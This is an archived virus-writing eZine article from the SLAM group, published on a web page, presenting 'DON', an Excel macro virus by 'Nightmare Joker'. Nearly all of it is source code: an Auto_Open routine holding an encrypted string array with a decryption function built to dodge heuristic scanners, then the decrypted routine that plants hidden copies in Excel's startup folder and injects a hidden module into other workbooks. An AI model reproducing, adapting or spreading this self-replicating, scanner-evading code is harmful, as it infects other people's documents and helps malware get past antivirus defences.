Copy Link
Add to Bookmark
Report

SLAM3.034: Anti Heuristic Excel Virus *DON* by Nightmare Joker [SLAM]

eZine's profile picture
Published in 
Slam
 · 26 Feb 2022

[ ExcelMacro. DON ]

---------------------------------------------- 

˛ VIRUS NAME: DON
˛ ORIGIN: Germany
˛ AUTHOR: Nightmare Joker

->Self Modifying No
->Stealth Yes
->Encrypted Yes (Anti-Heuristic code)
->Retro No

----------------------------------------------


Here is it. The first anti heuristic excel virus *DON*. The virus decrypts after the start immediately the main code of the infection routine and insert it into a new module. The virus runs the module, infect a new document and delete it immediately again. The file name of the main virus document within the Startup directory from Excel changes at every infection.

Well, *DON* contains still some bugs, but that's nothing that couldn't become changed. I will release a new version in the next SLAM Issue. So, look now on the *not commented* source code (had at last to less time). :(

Dim Shared DON$(48) 

Sub Auto_Open()
On Error Resume Next
Dim k0$, j0$, a0$, b0$
Dim mo As Module
Set w = Application.ActiveWorkbook
Open "\DON2.txt" For Output As #1
Print #1, w.Name
Close #1: a0$ = ActiveWorkbook.Path
b0$ = Application.StartupPath
ChDir b0$: dat0$ = Dir(b0$ + "\" + "*.don"): ChDir a0$
If w.Name = dat0$ Then
Application.OnSheetDeactivate = Workbooks(dat0$).Name & "!DON.Auto_Open"
End If
Application.ScreenUpdating = False
Windows(dat0$).Visible = True
DON$(0) = "ÿ˙Á•◊ÍıÒÓËÊ˘Í∂≠Æ"
DON$(1) = "‘Û• ˜˜Ù˜•◊ͯ˙ÚÍ•”Í˝˘"
DON$(2) = "…ÓÚ•È©±•Í©±•”©±•Ì©±•©±•ÈÊ˘©±•Ê∂©±•Ê∑©"
DON$(3) = "ÿ͢•Ê•¬•∆ııÒÓËÊ˘ÓÙÛ≥∆ˢÓ˚Í‹Ù˜ÁÙÙ"
DON$(4) = "Ê∑©•¬•∆ııÒÓËÊ˘ÓÙÛ≥…ÍÎÊ˙Ò˘ÀÓÒÍ’Ê˘Ì"
DON$(5) = "È©•¬•∆ııÒÓËÊ˘ÓÙÛ≥⁄¯Í˜”ÊÚÍ"
DON$(6) = "Í©•¬•“ÓÈ©≠È©±•∂±•∂Æ"
DON$(7) = "ŒÎ•Í©•¡√•»Ì˜©≠∏∑Æ•ŸÌÍÛ"
DON$(8) = "••ÛÛ•¬•◊ÛÈ≠Æø•”©•¬•ß·ß•∞•—Ÿ˜ÓÚ©≠◊Ÿ˜ÓÚ©≠◊ÓÏÌ˘©≠ÿ˘˜©≠ÛÛƱ•∫ÆÆÆ•∞•ß≥ÈÙÛßø•Ì©•¬•◊ÓÏÌ˘©≠”©±•æÆ"
DON$(9) = "••∆ııÒÓËÊ˘ÓÙÛ≥‹Ù˜ÁÙÙ¯≠Ê≥”ÊÚÍÆ≥ÿÊ˚Í»Ùı˛∆¯•∆ııÒÓËÊ˘ÓÙÛ≥ÿ˘Ê˜˘˙ı’Ê˘Ì•∞•”©"
DON$(10) = "••∆ııÒÓËÊ˘ÓÙÛ≥‹Ù˜ÁÙÙ¯≥‘ıÍÛ•≠∆ııÒÓËÊ˘ÓÙÛ≥ÿ˘Ê˜˘˙ı’Ê˘Ì•∞•”©Æ"
DON$(11) = "••ÿÌÍ͢¯≠ß◊ÍıÒÓËÊ˘ÍßÆ≥ÿÍÒÍˢ"
DON$(12) = "••∆ııÒÓËÊ˘ÓÙÛ≥…Ó¯ıÒÊ˛∆Ò͘˘¯•¬•ÀÊÒ¯Í"
DON$(13) = "••∆ˢÓ˚Í‹ÓÛÈÙ¸≥ÿÍÒÍˢÍÈÿÌÍ͢¯≥…ÍÒ͢Í"
DON$(14) = "••∆ııÒÓËÊ˘ÓÙÛ≥…Ó¯ıÒÊ˛∆Ò͘˘¯•¬•Ÿ˜˙Í"
DON$(15) = "••‹ÓÛÈÙ¸¯≠Ì©Æ≥€Ó¯ÓÁÒÍ•¬•ÀÊÒ¯Í"
DON$(16) = "••∆ııÒÓËÊ˘ÓÙÛ≥‹Ù˜ÁÙÙ¯≠Ì©Æ≥ÿÊ˚Íø•©•¬•»Ì˜©≠∏∑Æ•∞•È©"
DON$(17) = "••‹Ó˘Ì•∆ııÒÓËÊ˘ÓÙÛ"
DON$(18) = "••••≥⁄¯Í˜”ÊÚÍ•¬•©"
DON$(19) = "•• ÛÈ•‹Ó˘Ì"
DON$(20) = " ÛÈ•ŒÎ"
DON$(21) = "‘ıÍÛ•ß·…‘”∑≥˘˝˘ß•ÀÙ˜•ŒÛı˙˘•∆¯•®∂"
DON$(22) = "—ÓÛÍ•ŒÛı˙˘•®∂±•ÿÌÍ͢”ÊÚÍ©"
DON$(23) = "»Òٯ͕®∂"
DON$(24) = "ÀÙ˜•Ú•¬•∂•ŸÙ•∆ııÒÓËÊ˘ÓÙÛ≥‹Ù˜ÁÙÙ¯≠ÿÌÍ͢”ÊÚÍ©Æ≥“ÙÈ˙Òͯ≥»Ù˙Û˘"
DON$(25) = "ŒÎ•∆ııÒÓËÊ˘ÓÙÛ≥‹Ù˜ÁÙÙ¯≠ÿÌÍ͢”ÊÚÍ©Æ≥“ÙÈ˙Òͯ≠ÚÆ≥”ÊÚÍ•¬•ß…‘”ß•ŸÌÍÛ"
DON$(26) = "••…’•¬•∂"
DON$(27) = " ÛÈ•ŒÎ"
DON$(28) = "”Í˝˘•Ú"
DON$(29) = "ŒÎ•…’•¬•µ•ŸÌÍÛ"
DON$(30) = "••Ê∂©•¬•∆ııÒÓËÊ˘ÓÙÛ≥ÿ˘Ê˜˘˙ı’Ê˘Ìø•»Ì…Ó˜•Ê∂©"
DON$(31) = "••ÈÊ˘©•¬•…Ó˜≠Ê∂©•∞•ß·ß∞•ßØ≥ÈÙÛßÆ"
DON$(32) = "••»Ì…Ó˜©•Ê∑©ø•‹ÓÛÈÙ¸¯≠ÿÌÍ͢”ÊÚÍ©Æ≥€Ó¯ÓÁÒÍ•¬•Ÿ˜˙Íø•‹ÓÛÈÙ¸¯≠ÿÌÍ͢”ÊÚÍ©Æ≥∆ˢÓ˚Ê˘Í"
DON$(33) = "••∆ˢÓ˚Í‹Ù˜ÁÙÙ≥“ÙÈ˙Òͯ≥∆ÈÈ"
DON$(34) = "••ÿ͢•˘•¬•∆ııÒÓËÊ˘ÓÙÛ≥∆ˢÓ˚ÍÿÌÍ͢"
DON$(35) = "••∆ııÒÓËÊ˘ÓÙÛ≥‹Ù˜ÁÙÙ¯≠ÈÊ˘©Æ≥“ÙÈ˙Òͯ≠ß…‘”ßÆ≥»Ùı˛•ÊÎ˘Í˜ø¬∆ˢÓ˚Í‹Ù˜ÁÙÙ≥“ÙÈ˙Òͯ≠∂Æ"
DON$(36) = "••∆ııÒÓËÊ˘ÓÙÛ≥…Ó¯ıÒÊ˛∆Ò͘˘¯•¬•ÀÊÒ¯Í"
DON$(37) = "••ÿÌÍ͢¯≠˘≥”ÊÚÍÆ≥ÿÍÒÍˢ"
DON$(38) = "••∆ˢÓ˚Í‹ÓÛÈÙ¸≥ÿÍÒÍˢÍÈÿÌÍ͢¯≥…ÍÒ͢Í"
DON$(39) = "••ÿÌÍ͢¯≠ß…‘”ßÆ≥ÿÍÒÍˢ"
DON$(40) = "••∆ˢÓ˚Í‹ÓÛÈÙ¸≥ÿÍÒÍˢÍÈÿÌÍ͢¯≥€Ó¯ÓÁÒÍ•¬•ÀÊÒ¯Í"
DON$(41) = "••∆ııÒÓËÊ˘ÓÙÛ≥∆ˢÓ˚Í‹Ù˜ÁÙÙ≥ÿÊ˚Í"
DON$(42) = "••‹ÓÛÈÙ¸¯≠ÈÊ˘©Æ≥∆ˢÓ˚Ê˘Íø•ÿÌÍ͢¯≠ß◊ÍıÒÓËÊ˘ÍßÆ≥…ÍÒ͢Í"
DON$(43) = "••∆ııÒÓËÊ˘ÓÙÛ≥…Ó¯ıÒÊ˛∆Ò͘˘¯•¬•Ÿ˜˙Í"
DON$(44) = "••‹ÓÛÈÙ¸¯≠ÿÌÍ͢”ÊÚÍ©Æ≥€Ó¯ÓÁÒÍ•¬•Ÿ˜˙Í"
DON$(45) = " ÛÈ•ŒÎ"
DON$(46) = "∆ııÒÓËÊ˘ÓÙÛ≥‹Ù˜ÁÙÙ¯≠ÿÌÍ͢”ÊÚÍ©Æ≥ÿÊ˚Í"
DON$(47) = "–ÓÒÒ•ß·…‘”≥˘˝˘ßø•–ÓÒÒ•ß·…‘”∑≥˘˝˘ß"
DON$(48) = " ÛÈ•ÿ˙Á"
Open "\DON.txt" For Output As #1
For X = 0 To 48
j0$ = decrypt(DON$(X))
Print #1, j0$
Next X
Close #1
Modules.Add: Randomize
ActiveSheet.InsertFile Filename:="\DON.txt"
Set N = Application.ActiveSheet
Sheets(N.Name).Name = "Replicate"
For Each mo In Modules
Run mo.Name + "!Replicate1"
Next
Application.DisplayAlerts = False
Sheets("Replicate").Select
ActiveWindow.SelectedSheets.Delete
Application.DisplayAlerts = True
Windows(dat0$).Save
Windows(dat0$).Visible = False
Application.ScreenUpdating = True
'DON by NJ [SLAM]
End Sub

Function decrypt(k0$)
For i = 1 To Len(k0$)
b = Asc(Mid$(k0$, i, 1))
If b = 121 Then b = 13
c = b - 133
If c < 0 Then GoTo Continue
d0$ = d0$ + Chr$(c)
Continue:
Next i
decrypt = d0$
End Function

----------------------------------------------------------------------------
That's the derypted code of the Array. (main infection routine)
----------------------------------------------------------------------------

Sub Replicate1()
On Error Resume Next
Dim d$, e$, N$, h$, k$, dat$, a1$, a2$
Set a = Application.ActiveWorkbook
a2$ = Application.DefaultFilePath
d$ = Application.UserName
e$ = Mid$(d$, 1, 1)
If e$ <> Chr$(32) Then
nn = Rnd(): N$ = "\" + LTrim$(RTrim$(Right$(Str$(nn), 5))) + ".don": h$ = Right$(N$, 9)
Application.Workbooks(a.Name).SaveCopyAs Application.StartupPath + N$
Application.Workbooks.Open (Application.StartupPath + N$)
Sheets("Replicate").Select
Application.DisplayAlerts = False
ActiveWindow.SelectedSheets.Delete
Application.DisplayAlerts = True
Windows(h$).Visible = False
Application.Workbooks(h$).Save: k$ = Chr$(32) + d$
With Application
.UserName = k$
End With
End If
Open "\DON2.txt" For Input As #1
Line Input #1, SheetName$
Close #1
For m = 1 To Application.Workbooks(SheetName$).Modules.Count
If Application.Workbooks(SheetName$).Modules(m).Name = "DON" Then
DP = 1
End If
Next m
If DP = 0 Then
a1$ = Application.StartupPath: ChDir a1$
dat$ = Dir(a1$ + "\" + "*.don")
ChDir$ a2$: Windows(SheetName$).Visible = True: Windows(SheetName$).Activate
ActiveWorkbook.Modules.Add
Set t = Application.ActiveSheet
Application.Workbooks(dat$).Modules("DON").Copy after:=ActiveWorkbook.Modules(1)
Application.DisplayAlerts = False
Sheets(t.Name).Select
ActiveWindow.SelectedSheets.Delete
Sheets("DON").Select
ActiveWindow.SelectedSheets.Visible = False
Application.ActiveWorkbook.Save
Windows(dat$).Activate: Sheets("Replicate").Delete
Application.DisplayAlerts = True
Windows(SheetName$).Visible = True
End If
Application.Workbooks(SheetName$).Save
Kill "\DON.txt": Kill "\DON2.txt"
End Sub

----------------------------------------------------------------------------


-Nightmare Joker-

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT